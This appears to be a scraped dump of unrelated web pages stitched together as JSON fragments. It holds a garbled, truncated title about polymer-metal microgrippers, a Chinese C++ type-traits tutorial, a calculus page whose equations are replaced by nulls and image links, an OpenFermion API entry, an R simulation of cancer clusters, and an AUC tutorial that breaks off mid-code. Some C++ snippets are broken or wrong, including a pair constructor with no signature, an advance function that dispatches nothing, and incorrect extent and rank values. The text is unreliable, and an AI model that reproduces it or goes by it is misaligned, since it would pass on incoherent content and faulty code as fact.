P‌O‌L‌Y‌M‌E‌R-M‌E‌T‌A‌L C‌O‌M‌P‌O‌S‌I‌T‌E‌S (I‌P‌M‌C) M‌I‌C‌R‌O‌G‌R‌I‌P‌P‌E‌R: A F‌E" ]

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[ "traits是典型的元函数，`元函数`( meta-function )是指所有成员都是元数据(metadata)类。`元数据`：是指整型常量（包括bool，枚举型）以及类型。元函数内部只有对元数据的操作。整型常量和typedef类型分别用一个常值和一个类型来初始化，定义之后就不会再改变，因此可以作为在编译期计算的类型。如果你熟悉tuple，你应该对元函数和元编程比较了解。\n\n``````template< typename T >\nstruct Traits //成员都是编译期能够计算的对象。\n{\nenum{ bRef = is_reference< T >::value };\nstatic const bool bPointer = is_pointer< T >::value;\ntypename remove_reference<T>::type Ref;\n};\n``````\n\ntrue_type和false_type是基于常整型特征类integral_constant实现的。\n\n``````template <class T, T val>\t// T作为模板参数，为整型类型\nstruct integral_constant\n{\ntypedef integral_constant<T, val> type; // 代表自身类型\ntypedef T value_type;\nstatic const T value = val;\n};\ntypedef integral_constant<bool, true> true_type;\ntypedef integral_constant<bool, false> false_type;\n``````\n\nintegral_constant的使用只要提供整型类型的整型常量值，如\n\n``````integral_constant< int, 5 >::value_type就是int类型\nintegral_constant< int, 5 >::value 为5\ntrue_type::value_type的类型bool，true_type::value为true\n``````\n\n## 代表性的traits模板类实现\n\n``````template <typename T> struct is_void : public false_type{};\ntemplate <> struct is_void<void> : public true_type{};\n``````\n\n``````template <typename T> struct is_pointer : public false_type{};\ntemplate <typename T> struct is_pointer<T*> : public true_type{};\n``````\n\n``````void foo(T);\nvoid foo(U);\n``````\n\n``````template <typename T>\nclass c{ /*details*/ };\ntemplate <typename T>\nclass c<U>{ /*details*/ };\n``````\n\n``````template <typename T>\nstruct remove_extent\n{ typedef T type; };\n\ntemplate <typename T, std::size_t N>\nstruct remove_extent<T[N]>\n{ typedef T type; };\n``````\n\nremove_extent 的目的是：设想一个泛型算法被传递过来一个数组类型作为模板参数，remove_extent 提供了一个检测这个数组的底层类型的手段。例如 `remove_extent<int>::type` 会被检测出类型 int。这个例子也展示了偏特化中的模板参数的个数和缺省模板中的个数不必相同。但是，出现在类名后面的参数的个数和类型必须和缺省模板的参数的个数和类型相同。\n\n### type traits用于编译时的优化决策\n\n``````struct input_iterator_tag {};\nstruct output_iterator_tag {};\nstruct forward_iterator_tag : public input_iterator_tag {};\nstruct bidirectional_iterator_tag : public forward_iterator_tag {};\nstruct random_access_iterator_tag : public bidirectional_iterator_tag {};\n``````\n\n``````template <class Iterator>\nstruct iterator_traits {// 每个自己定义的迭代器也要定义这五个类型属性\ntypedef typename Iterator::iterator_category iterator_category;\ntypedef typename Iterator::value_type value_type;\ntypedef typename Iterator::difference_type difference_type;\ntypedef typename Iterator::pointer pointer;\ntypedef typename Iterator::reference reference;\n};\n\ntemplate <class T>\nstruct iterator_traits<T*> { //对指针类型的特化\ntypedef random_access_iterator_tag iterator_category; //指针是随机访问迭代器\ntypedef T value_type;\ntypedef ptrdiff_t difference_type; // ptrdiff_t 与size_t一直\ntypedef T* pointer;\ntypedef T& reference;\n};\ntemplate <class T>\nstruct iterator_traits<const T*> { //const指针\ntypedef random_access_iterator_tag iterator_category;\ntypedef T value_type;\ntypedef ptrdiff_t difference_type;\ntypedef const T* pointer;\ntypedef const T& reference;\n};\n``````\n\n``````template <class BidirectionalIterator, class Distance>\ninline void __advance(BidirectionalIterator& i, Distance n,\nbidirectional_iterator_tag) {\nif (n >= 0)\nwhile (n--) ++i;\nelse\nwhile (n++) --i;\n}\ntemplate <class RandomAccessIterator, class Distance>\ninline void __advance(RandomAccessIterator& i, Distance n,\nrandom_access_iterator_tag) {\ni += n;\n}\n\ntemplate <class InputIterator, class Distance>\ninline void advance(InputIterator& i, Distance n) {\ntypename iterator_traits<InputIterator>::iterator_category iterator_category_tag;\n}\n``````\n\n### 引用的 Pair\n\ntype traits 的另一个重要用途是是允许那些如果不使用额外的偏特化就无法编译的代码能够编译。通过将偏特化委托给 type traits 类，就可能做到这一点。我们为这种使用方式提供的示例是一个可以持有引用的 pair 。\n\n``````template <typename T1, typename T2>\nstruct pair\n{\ntypedef T1 first_type;\ntypedef T2 second_type;\nT1 first;\nT2 second;\n\npair(const T1 & nfirst, const T2 & nsecond)\n:first(nfirst), second(nsecond) { }\n};\n``````\n\ntype traits 类提供了一个转换 add_reference( 一个经过特化的traits类 )，它可以为一个类型加上引用，除非它已经是一个引用。\n\n``````template <typename T1, typename T2>\nstruct pair\n{\ntypedef T1 first_type;\ntypedef T2 second_type;\nT1 first;\nT2 second;\n\n:first(nfirst), second(nsecond) { }\n};\n``````\nT1的类型 const T1 的类型 `add_reference<const T1>::type`的类型\n`T` `const T` `const T &`\n`T &` `T &` `T &`\n`const T &` `const T &` `const T &`\n\n``````template< typename T >\nvoid Test()\n{\ncout << is_same<const T, T>::value << endl;\n}\n// Test< int& >(); 将输出1\n``````\n\n• type traits 允许我们定义一个单一的主模板，它可以调整自己像变魔术一样变成以上任何一个偏特化，而不需要强制的偏特化步骤。\n• 以这种方式使用 type traits 允许程序员将偏特化委托给 type traits 类，任意转化为对应的需要的什么类型，使得代码易于维护和理解。\n• 模板使得 C++ 能够利用泛型编程带来的代码复用的好处，同时泛型编程也并非最不常用的特性，而且模板可以和泛型一样精彩。\n\n## 下面分类对boost中的每一个traits进行分析：\n\n### 对类型分类\n\n`is_array<T>`\n\n1. 从true_type或者false_type继承的type（要看T的类型而定，是true_type或false_type本身）和 value_type（bool）。\n2. 定义的const bool值value为true或者false，依T的类型而定。\n`is_class<T>`\n\n`is_enum<T>`\n\n`is_floating_point<T>`\n\n`is_function<T>`\n\n``````typedef int f1(); // f1 是函数类型。\ntypedef int (*f2)(); // f2 是函数指针。\ntypedef int (&f3)(); // f3 是函数引用。\n// 指针和函数可以用is_pointer, is_reference判断\n``````\n\n`is_function<remove_pointer<T>::type>::value && is_pointer<T>::value`\n\n`is_integral<T>`\n\n`is_member_function_pointer<T>`\n\n`is_member_object_pointer<T>`\n\n`is_pointer<T>`\n\n`is_reference<T>`\n\n`is_union<T>`\n\n`is_void<T>`\n\n`is_arithmetic`\n\n`is_compound`\n\n`is_fundamental`\n\n`is_member_pointer`\n\n``````template< typename T >\nstruct is_member_pointer // 自己定义traits时可以借助已有的boost的traits来组装功能\n{\nenum{ value = is_member_function_pointer<T>::value || is_member_object_pointer<T>::value };\ntypedef integral_constant<bool, value> type;\ntypedef bool value_type;\n};\n``````\n`is_object`\n\n`is_scalar`\n\n### 下面的模板描述了一个类型的常规属性。\n\n``````alignment_of;\nhas_new_operator;\nhas_nothrow_assign;\nhas_nothrow_constructor;\nhas_nothrow_default_constructor;\nhas_nothrow_copy;\nhas_nothrow_copy_constructor;\nhas_trivial_assign;\nhas_trivial_constructor;\nhas_trivial_default_constructor;\nhas_trivial_copy;\nhas_trivial_copy_constructor;\nhas_trivial_destructor;\nhas_virtual_destructor;\nis_abstract;\nis_empty;\nis_stateless;\nis_polymorphic;\n``````\n`is_const`\n\n`is_pod`\n\nPOD 表示 “Plain old data”。算术类型，枚举类型，指针和指向成员的指针都是 PODs。类和联合中如果没有引用或非 POD 类型等非静态数据成员，没有用户定义的构造函数，没有用户定义的赋值操作符，没有私有或保护的非静态数据成员，没有虚拟函数，而且没有基类，那么它们也可以是 POD 的。最后，一个带有 cv 修饰的 POD 依然是一个 POD，同样，也有 PODs 的数组。(pod的拷贝可以用内存拷贝操作memcpy, memset等)\n\n`is_signed`\n\n`is_unsigned`\n\n`is_volatile`\n\n`extent`\n\n``````template <class T, std::size_t N = 0> // N范围： 0 ～ rank-1\nstruct extent : public integral_constant<std::size_t, EXTENT(T,N)> {};\n// 设 EXTENT(T,N) 是类型为T 的第 N 个数组维的元素的个数，类模板 extent 从 integral_constant<std::size_t, EXTENT(T,N)> 继承。\n// 如果 T 不是一个数组类型，或者 N > rank<T>::value，那么 EXTENT(T,N) 为 0。\n\n// 例如：\nextent<int> // 从 integral_constant<std::size_t, 1> 继承，默认N为0\nextent<double, 1>::type // 是 integral_constant<std::size_t, 3> 类型。\n``````\n`rank`\n\n``````rank<double>::type 是 integral_constant<std::size_t,3> 类型。\nrank<int[]>::value 是求值为 2 的 integral constant expression（整常表达式）。\n``````\n\n### 这些模板确定在两个类型之间是否有关系：\n\n• `is_base_of`\n\n``````template <class Base, class Derived>\nstruct is_base_of;\n``````\n\n• `is_virtual_base_of`\n\n``````template <class Base, class Derived>\nstruct is_virtual_base_of;\n``````\n\n• `is_convertible`\n\n``````template <class From, class To>\nstruct is_convertible;\n``````\n\n• `is_same`\n\n``````template <class T, class U>\nstruct is_same;\n``````\n\n### 下面的模板基于一些良好定义的规则，将某种类型转换成另一种\n\n`add_const`\n\n`add_cv`\n\n`add_pointer`\n`remove_reference<T>::type*` 类型相同。去引用再增加一层指针。\n`add_reference`\n\n`add_volatile`\n\n`decay`\n\n`decay<int>::type` `int*`\n`decay<int(&)>::type` `int*`\n`decay<int(&)(double)>::type` `int(*)(double)`\n`int(*)(double` `int(*)(double)`\n`int(double)` `int(*)(double)`\n`floating_point_promotion`\n\n`integral_promotion`\n\n`make_signed`\n\n`make_unsigned`\n\n`promote`\n\n`remove_all_extents`\n\n`remove_const`\n\n`remove_const<int>::type` `int`\n`remove_const<int const>::type` `int`\n`remove_const<int const* const>::type` `int const*`\n`remove_const<int const&>::type` `int const&`\n`remove_const<int const*>::type` `int const*`\n\n• `int const* const` 第一个const修饰int，第二个const修饰指针。\n• `int const&`比较复杂，这个const表示int值不变，而引用的顶层const是引用自身的特点，无法移除。\n`remove_cv`\n\n`remove_extent`\n\n``````remove_extent<int>::type 为int\nremove_extent<int[]>::type 为int\n``````\n`remove_pointer`\n\n`remove_reference`\n\n`remove_volatile`\n\n### 解析函数类型\n\n``````template <class T>\nstruct function_traits;\n``````\n\nfunction_traits 只能用于形如 `R ()`, `R( A1 )`, `R ( A1, ... )`等等的C++函数，而非函数指针或类成员函数。要将函数指针转换为适用的类型，请使用 remove_pointer。\n\n`function_traits<T>::arity` 一个给出 function type（函数类型）F 接收的参数的个数的 integral constant expression（整常表达式）\n`function_traits<T>::result_type` function type（函数类型）F 的返回类型\n`function_traits<T>::argN_type` `1 <= N <= arity of F` 时，function type（函数类型）F 的第 N 个参数类型\n``````function_traits<long (int)>::arity -> 一个值为 1 的 integral constant expression（整常表达式）。\nfunction_traits<long (int)>::result_type -> 类型 long.\nfunction_traits<long (int, long, double, void*)>::arg4_type -> 类型 void*.\n``````" ]

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[ "Calculus Of One Real Variable – By Pheng Kim Ving Chapter 6: The Trigonometric Functions And Their Inverses – Section 6.1.4: Differentiation Of Trigonometric Functions 6.1.4 Differentiation Of Trigonometric Functions\n\n 1. Derivatives Of Sine And Cosine\n\nLet's find the derivatives of the sine and cosine functions sin x and cos x, where the angle x is in radians. Since at this\nlevel sin x and cos x aren't expressed in terms of functions whose derivatives we already know, we have to go back to\nthe definition of the derivative as a limit. We have:", null, "", null, "[by Section 6.1.3 Eqs. [5.1] and [3.1]]", null, "", null, "", null, "2. Derivatives Of Tangent, Cotangent, Secant, And Cosecant\n\nWe derive the derivatives of the 4 remaining trigonometric functions, namely the tangent, cotangent, secant, and\ncosecant functions, from those of the sine and cosine functions. That of the cotangent function is derived indirectly.", null, "", null, "", null, "The derivations of these equations are based on Eqs. [1.1] and [1.2]. Consequently they also hold only if x is in radians.\n\n 3. Memorizing The Derivatives\n\nIt's recommended that you memorize the derivatives of the six trigonometric functions, in the same fashion that you do\nthose of ax or xn. Let's gather all six of them here.\n\n(sin x)' = cos x,          (tan x)' = sec2 x,           (sec x)' = sec x tan x,\n(cos x)' =sin x,       (cot x)' =csc2 x,        (csc x)' =csc x cot x.\n\nWe say that cos x is the cofunction  of sin x, and that sin x is the cofunction  of cos x; thus sin x and cos x are\ncofunctions  of each other. Similarly, tan x and cot x are cofunctions of each other, and sec x and csc x are cofunctions\nof each other.\n\nWe note that:\n\na. The derivatives of sin x, tan x, and sec x don't have a minus sign, while those of their respective cofunctions do.\n\nb. The derivatives of sin x, tan x, and sec x are cos x, sec2 x, and sec x tan x respectively. The derivative of the\ncofunction of any of them is obtained by adding a minus sign and changing each function in the derivative to its\n\ncofunction.\n\n 4. When The Angle Isn't In Radians\n\nWe repeat it here that the formulas for the derivatives of the trigonometric functions given so far require that the angle be\nin radians. We're now going to see two particular derivatives when the angle is in degrees.\n\nExample 4.1\n\nDifferentiate sin xo and cos xo. Note that the angle is measured in degrees. Use the degree measure for the angle in your\n\nSolution", null, "EOS\n\n Problems & Solutions\n\n1.  Differentiate each of the following functions.\n\na.  y = cot (4 – 3x).\nb.  f(x) = sin3 cos (x/3).\n\nSolution", null, "", null, "2.  Differentiate each of the following functions. Note that the angles are measured in degrees. Use the degree measure", null, "Solution", null, "", null, "3.  Find an equation of the tangent line to each of the following curves at the indicated point.", null, "Solution", null, "", null, "4.  Let z = tan (x/2). Prove that:", null, "Solution\n\nLet's treat the equation:", null, "", null, "5.  Let y = sin ax, where a is a constant.\n\na.  Calculate the first eight derivatives of y.\nb.  Guess a formula for the nth derivative of y, for any n in N.\nc.  Prove your guess using mathematical induction.\n\nSolution\n\na.  y' = (cos ax)a = a cos ax,\ny'' = a(– sin ax)a =a2 sin ax,\ny''' =a2(cos ax)a =a3 cos ax,\ny (4) =a3(– sin ax)a = a4 sin ax,\ny (5) = a4(cos ax)a = a5 cos ax,\ny (6) = a5(– sin ax)a =a6 sin ax,\ny (7) =a6(cos ax)a =a7 cos ax,\ny (8) =a7(– sin ax)a = a8 sin ax.", null, "" ]

[ null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image002.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image004.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image006.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image008.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image010.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image012.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image014.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image016.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image018.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image020.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image022.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image024.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image026.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image027.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image029.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image031.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image032.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image034.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image036.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image037.gif", null, "http://www.phengkimving.com/calc_of_one_real_var/06_the_trig_func_and_their_inv/06_01_the_trig_func/06_01_04_diffn_of_trig_func_files/image039.gif", null ]

[ "# openfermion.chem.make_reduced_hamiltonian\n\nConstruct the reduced Hamiltonian.\n\nThis Hamiltonian is equivalent to the electronic structure Hamiltonian but contains only two-body terms. To do this, the operator now depends on the number of particles being simulated. We use the RDM sum rule to lift the 1-body terms to the two-body space.\n\nuse the fact that i^l = (1/(n -1)) sum{jk}\\delta{jk}i^ j^ k l i^l = (-1/(n -1)) sum{jk}\\delta{jk}j^ i^ k l i^l = (-1/(n -1)) sum{jk}\\delta{jk}i^ j^ l k i^l = (1/(n -1)) sum{jk}\\delta{jk}j^ i^ l k\n\nRewrite each one-body term as an even weighting of all four 2-RDM elements with delta functions. Then rearrange terms so that each ijkl term gets a sum of permuted one-body terms multiplied by delta function. One should notice that this results in the same formula if one was to apply the wedge product!\n\nmolecular_hamiltonian operator to write reduced hamiltonian for\nn_electrons number of electrons in the system\n\nInteractionOperator with a zero one-body component.\n\n[{ \"type\": \"thumb-down\", \"id\": \"missingTheInformationINeed\", \"label\":\"Missing the information I need\" },{ \"type\": \"thumb-down\", \"id\": \"tooComplicatedTooManySteps\", \"label\":\"Too complicated / too many steps\" },{ \"type\": \"thumb-down\", \"id\": \"outOfDate\", \"label\":\"Out of date\" },{ \"type\": \"thumb-down\", \"id\": \"samplesCodeIssue\", \"label\":\"Samples / code issue\" },{ \"type\": \"thumb-down\", \"id\": \"otherDown\", \"label\":\"Other\" }]\n[{ \"type\": \"thumb-up\", \"id\": \"easyToUnderstand\", \"label\":\"Easy to understand\" },{ \"type\": \"thumb-up\", \"id\": \"solvedMyProblem\", \"label\":\"Solved my problem\" },{ \"type\": \"thumb-up\", \"id\": \"otherUp\", \"label\":\"Other\" }]" ]

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[ "# Cancer clusters and the Poisson distributions\n\nMarch 5, 2019\nBy\n\nWant to share your content on R-bloggers? click here if you have a blog, or here if you don't.\n\nOn March 1, 2019, an article was published in Israel’s Ynetnews website, under the title “The curious case of the concentration of cancer”. The story reports on a concentration of cancer cases in the town of Rosh Ha’ayin in central Israel.\n\nIn the past few years dozens of cases of cancer have been discovered in the center of Rosh Ha’ayin. About 40 people have already died of the disease. Residents are sure that the cause of the disease is cellular antennas on the roof of a building belonging to the municipality. “Years we cry and no one listens”, They say, “People die one after the other.”\n\nI do not underestimate the pain of the residents of Rosh Ha’ayin. I also do not intend to discuss the numbers mentioned in the article. I accept them as they are. I just want to relate only to the claim that the cause of the disease is cellular antennas. It is easy (at least for me) to explain why this claim is at least questionable: there are many more cellular antennas in many places, and around them there is no high rate of morbidity in cancer. If the antennas are carcinogenic, then they need cancer everywhere, not just in Rosh Ha’ayin. On the other hand, I can’t blame them for blaming the antennas. People try to rationalize what they see and find a cause.\n\nI also must emphasize that the case of Rosh Ha’ayin must not be neglected. If it is not because the cellular antennas, it is possible that there is some other risk factor, and the state authorities must investigate.\n\nSo why does Rosh Ha’ayin have such a large cluster of cancer morbidity? One possible answer is that there is an environmental factor (other than the antennas) that does not exist elsewhere. Another possible answer is that there may be a non-environmental factor that does not exist elsewhere, maybe a genetic factor (most of the town’s residents are immigrants from Yemen and their descendants). A third and particularly sad possibility is that the local residents suffer from really bad luck. Statistics rules can be cruel.\n\nClusters happen: if there are no local (environmental or other) risk factors that cause cancer (or any other disease), and the disease spreads randomly across the whole country, then clusters are formed. If the country is divided into units of equal size, then the number of cases in a given area unit follows a Poisson distribution. Then there is a small, but not negligible possibility that one of these units will contain a large number of cases. The problem is that there is no way of knowing in advance where it will happen.\n\nThe opposite is also true: If the distribution of the number of cases in a given area unit is a Poisson distribution, then it can be concluded that the dispersion on the surface is random.\n\nI will demonstrate the phenomenon using simulation.\n\nConsider a hypothetical country that has a perfect square shape, and its size is 100 x 100 kilometers. I randomized 400 cases of morbidity across the country:\n\n```# generate n random points on 0:100 x 0:100\n> set.seed(21534)\n> n=400\n> x=runif(n)*100\n> y=runif(n)*100\n> dat=data.frame(x,y)\nx y\n1 15.73088 8.480265\n2 12.77018 78.652808\n3 45.50406 31.316797\n4 86.46181 6.669138\n5 27.25488 48.164316\n6 17.42388 98.429575```\n\nI plotted the 400 cases.\n\n```> # plot the points\n> plot(dat\\$x, dat\\$y, ylim=c(0,100), xlim=c(0,100),\n+ asp=1, frame.plot=FALSE, axes=FALSE,\n+ xlab=' ', ylab=' ', col='aquamarine', pch=16,\n+ las=1, xaxs=\"i\", yaxs=\"i\",\n+ )\n> axis(1, at=0:10*10)\n> axis(2, at=0:10*10, las=1, pos=0)\n> axis(3, at=0:10*10, labels=FALSE)\n> axis(4, at=0:10*10, labels=FALSE, pos=100)```\n\nNext, I divided the map into 100 squares, each 10 x 10 kilometers:\n\n```> #draw gridlines\n> for (j in 1:9){\n+ lines(c(0,100), j*c(10,10))\n+ lines(j*c(10,10), c(0,100))\n+ }\n>```", null, "In order to count the cases in each square, I assigned row and column numbers for each of the squares, and recorded the position (row and column) for every case/dot:\n\n```> # row and column numbers and cases positions\n> dat\\$row=0\n> dat\\$col=0\n> dat\\$pos=0\n> for (j in 1:nrow(dat)){\n+ dat\\$row=ceiling(dat\\$y/10)\n+ dat\\$col=ceiling(dat\\$x/10)\n+ dat\\$pos=10*(dat\\$row-1)+dat\\$col\n+ }\n>```\n\nNow I can count the number of points/cases in each square:\n\n```> # calculate number of points for each position\n> # ppp=points per position\n> dat\\$count=1\n> ppp=aggregate(count~pos, dat, sum)\n> dat=dat[,-6]```\n\nBut of course, it is possible that there are squares with zero cases; (actually the data frame ppp has only 97 rows). Let’s identify them:\n\n```> # add positions with zero counts, if any\n> npp=nrow(ppp)\n> if(npp<100){\n+ w=which(!(1:100 %in% ppp\\$pos))\n+ ppp=ppp[order(ppp\\$pos),]\n+ }\n>```\n\nAnd now we can get the distribution of number of cases in each of the 100 squares:\n\n```> # distribution of number of points/cases in each position\n> tb=table(ppp\\$count)\n> print(tb)\n0 1 2 3 4 5 6 7 8 9 11\n3 9 12 21 15 17 13 5 1 3 1\n>```\n\nWe see that there is one very unlucky cluster with 11 cases, and there also 3 squares with 9 cases each. Let’s paint them on the map:\n\n```> # identify largest cluster\n> mx=max(ppp\\$count)\n> loc=which(ppp\\$count==11)\n> clusters=dat[dat\\$pos %in% loc,]\n> points(clusters\\$x, clusters\\$y, col='red', pch=16)\n>\n> # identify second lasrgest cluster/s\n> loc=which(ppp\\$count==9)\n> clusters=dat[dat\\$pos %in% loc,]\n> points(clusters\\$x, clusters\\$y, col='blue', pch=16)\n>```", null, "Let’s also mark the squares with zero points/cases. In order to do this, we first need to identify the row and column locations of these squares:\n\n```> # identify sqaures without cases\n> # find row and column locations\n> loc=which(ppp\\$count==0)\n> zeroes=data.frame(loc)\n> zeroes\\$row=ceiling(zeroes\\$loc/10)\n> zeroes\\$col=zeroes\\$loc %% 10\n> w=which(zeroes\\$col==0)\n> if(length(w)>0){\n+ zeroes\\$col[w]=10\n+ }\n> print(zeroes)\nloc row col\n1 8 1 8\n2 31 4 1\n3 99 10 9\n>```\n\nSo there is one empty square in the 8th column of the first row, one in the first column of the 4th row, and one in the 9th column of the 10th row. Let’s mark them. To do that, we need to know the coordinates of each of the four vertices of these squares:\n\n```# mark squares with zero cases\n> for (j in 1:nrow(zeroes)){\n+ h1=(zeroes\\$col[j]-1)*10\n+ h2=h1+10\n+ v1=(zeroes\\$row[j]-1)*10\n+ v2=v1+10\n+ lines(c(h1,h2), c(v1,v1), lwd=3, col='purple')\n+ lines(c(h1,h2), c(v2,v2), lwd=3, col='purple')\n+ lines(c(h1,h1), c(v1,v2), lwd=3, col='purple')\n+ lines(c(h2,h2), c(v1,v2), lwd=3, col='purple')\n+ }```", null, "Do you see any pattern?\n\nHow well does the data fit the Poisson distribution? We can perform a goodness of fit test.\nLet’s do the log-likelihood chi-square test (also known as the G-test):\n\n```> # log likelihood chi square to test the goodness of fit\n> # of the poisson distribution to the data\n>\n> # the obserevd data\n> observed=as.numeric(tb)\n> values=as.numeric(names(tb))\n>\n> # estimate the poisson distribution parameter lambda\n> # it is the mean number of cases per square\n> lambda=nrow(dat)/100\n> print(lambda)\n 4\n>\n> # calculate the expected values according to\n> # a poisson distribution with mean lambda\n> expected=100*dpois(values, lambda)\n>\n> # view the data for the chi-square test\n> poisson_data=data.frame(values, observed, expected)\n> print(poisson_data)\nvalues observed expected\n1 0 3 1.8315639\n2 1 9 7.3262556\n3 2 12 14.6525111\n4 3 21 19.5366815\n5 4 15 19.5366815\n6 5 17 15.6293452\n7 6 13 10.4195635\n8 7 5 5.9540363\n9 8 1 2.9770181\n10 9 3 1.3231192\n11 11 1 0.1924537\n>\n> # calculate the degrees of freedom\n> df=max(values)\n> print(df)\n 11\n>\n> # calculate the test statistic and p-value\n> g2=sum(observed*log(observed/expected))\n> pvalue=1-pchisq(g2,df)\n> log_likelihood_chi_squrae_test=data.frame(g2, df, pvalue)\n> print(log_likelihood_chi_squrae_test)\ng2 df pvalue\n1 4.934042 11 0.9343187\n>```\n\nWe cannot reject the hypothesis that the data follows the Poison distribution. This does not imply, of course, that the data follows the Poisson distribution, but we can say that the Poisson model fits the data well.\n\nR-bloggers.com offers daily e-mail updates about R news and tutorials about learning R and many other topics. Click here if you're looking to post or find an R/data-science job.\nWant to share your content on R-bloggers? click here if you have a blog, or here if you don't." ]

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[ "# How to calculate Area Under Curve and Concordant\n\nThis tutorial provides detailed explanation and multiple methods to calculate area under ROC curve (AUC), concordant and discordant along with implementation in SAS and R. By default, every statistical packages like SAS, SPSS and R generates these model fit measures when you run syntax for logistic regression. However, it is important to know how these model performance metrics are calculated mathematically. One more reason to know the calculation behind these metrics is it would give you confidence to explain these metrics and you will have an edge over your peers when your predictive model demands calibration or refitting.", null, "Understanding Concordant and AUC\nImportance of Area under Curve and Concordant\nArea under Curve (AUC) or Receiver operating characteristic (ROC) curve is used to evaluate and compare the performance of binary classification model. It measures discrimination power of your predictive classification model. In simple words, it checks how well model is able to distinguish (separates) events and non-events. Suppose you are building a predictive model for bank to identify customers who are likely to buy credit card. In this case case, purchase of credit card is event (or desired outcome) and non-purchase of credit card is non-event.\nAUC or ROC curve is a plot of the proportion of true positives (events predicted to be events) versus the proportion of false positives (nonevents predicted to be events). True Positive Rate is also called Sensitivity. False Positive Rate is also called (1-Specificity). Sensitivity is on Y-axis and (1-Specificity) is on X-axis. Higher the AUC score, better the model.\n\nDiagonal line represents random classification model. It is equivalent to prediction by tossing a coin. All points along the diagonal line say same true positive and false positive rate.", null, "ROC Curve\n\nMethods to calculate ROC and Concordant\n\n## Manual Calculation to estimate ROC, Concordant, Discordant, Gini\n\n1. Calculate the predicted probability in logistic regression model. It can be any binary classification model, not restricted to logistic regression.\n2. Divide the data into two datasets. One dataset contains observations having actual value of dependent variable with value 1 (i.e. event) and corresponding predicted probability values. And the other dataset contains observations having actual value of dependent variable 0 (non-event) against their predicted probability scores.\n3. Compare each predicted value in first dataset with each predicted value in second dataset.\n4. Total Number of pairs to compare = `x` * `y`\n`x` : Number of observations in first dataset (actual values of 1 in dependent variable)\n`y` : Number of observations in second dataset (actual values of 0 in dependent variable).\n\nIn this step, we are performing cartesian product (cross join) of events and non-events. For example, you have 100 events and 1000 non-events. It would create 100k (100*1000) pairs for comparison.\n5. A pair is concordant if 1 (observation with the desired outcome i.e. event) has a higher predicted probability than 0 (observation without the outcome i.e. non-event).\n6. A pair is discordant if 0 (observation without the desired outcome i.e. non-event) has a higher predicted probability than 1 (observation with the outcome i.e. event).\n7. A pair is tied if 1 (observation with the desired outcome i.e. event) has same predicted probability than 0 (observation without the outcome i.e. non-event).\n8. The final percent values are calculated using the formula below -\n\n9. `Percent Concordant = 100*[(Number of concordant pairs)/Total number of pairs]`\n`Percent Discordant = 100*[(Number of discordant pairs)/Total number of pairs]`\n`Percent Tied = 100*[(Number of tied pairs)/Total number of pairs]`\n`Area under curve (c statistics) = (Percent Concordant + 0.5 * Percent Tied)/100`\n\nInterpretation of Concordant, Discordant and Tied Percent\n\nPercent Concordant : Percentage of pairs where the observation with the desired outcome (event) has a higher predicted probability than the observation without the outcome (non-event).\n\nPercent Discordant : Percentage of pairs where the observation with the desired outcome (event) has a lower predicted probability than the observation without the outcome (non-event).\n\nPercent Tied : Percentage of pairs where the observation with the desired outcome (event) has same predicted probability than the observation without the outcome (non-event).\n\nc statistics (AUC) : c-statistics is also called area under curve (AUC). Some statisticians also call it AUROC which stands for area under the receiver operating characteristics. It is calculated by adding Concordance Percent and 0.5 times of Tied Percent.\n\nGini coefficient or Somers' D statistic is closely related to AUC. It is calculated by (2*AUC - 1).\n\nIn general, higher percentages of concordant pairs and lower percentages of discordant and tied pairs indicate a more desirable model.\n\nSAS and R Code for ROC, Concordant / Discordant :\nDownload the CSV data file from UCLA website.\nThe code below calculates these performance metrics in SAS and R. It executes each step explained above theoretically.\n\n###### SAS Code\n```FILENAME PROBLY TEMP;\nPROC 